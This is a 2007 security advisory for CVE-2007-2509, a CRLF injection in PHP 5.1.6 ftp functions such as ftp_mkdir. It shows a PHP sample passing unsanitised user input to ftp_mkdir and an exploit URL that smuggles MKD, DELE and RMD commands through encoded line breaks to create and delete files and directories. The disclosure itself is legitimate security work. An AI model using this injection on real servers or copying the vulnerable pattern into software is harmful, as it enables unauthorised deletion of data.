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Topic :

CRLF injection in PHP ftp function

SecurityAlert : 2672

CVE : CVE-2007-2509

SecurityRisk : Low Security Risk Low

(About)

Remote Exploit : Yes

Local Exploit : No

Exploit Given : Yes

Credit : fangxiaodun

Published : 12.05.2007

Affected Software :

php 5.1.6

Advisory Text :

We found that there was one crlf injection in php ftp ftuntion.As same as
http,you can inject a 'rn other command' in the paramer of a ftp function
like ftp_mkdir,and then php would send the rn to your connected ftp
server.The server considerd there is a new command,and the other command
would be executed.
For eg:

<?php
$ftp_server='http://www.loveshell.net';
$ftp_user_name='loveshell';
$ftp_user_pass='loveshell';
$command = $_GET['dir'];

$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if($command) ftp_mkdir($conn_id, $command);
.......

Exp: http://www.loveshell.net/test.php?dir=loveshell%0D%0AMKD jnc%0D%0ADELE
jnc.txt%0D%0Armd test

The dir loveshell and jnc are created,the jnc.txt is deleted,and the dir
test is deleted.

tested on php 5.1.6,other function is vul also.

loveshell[at]Bug.Center.Team

Feedback :

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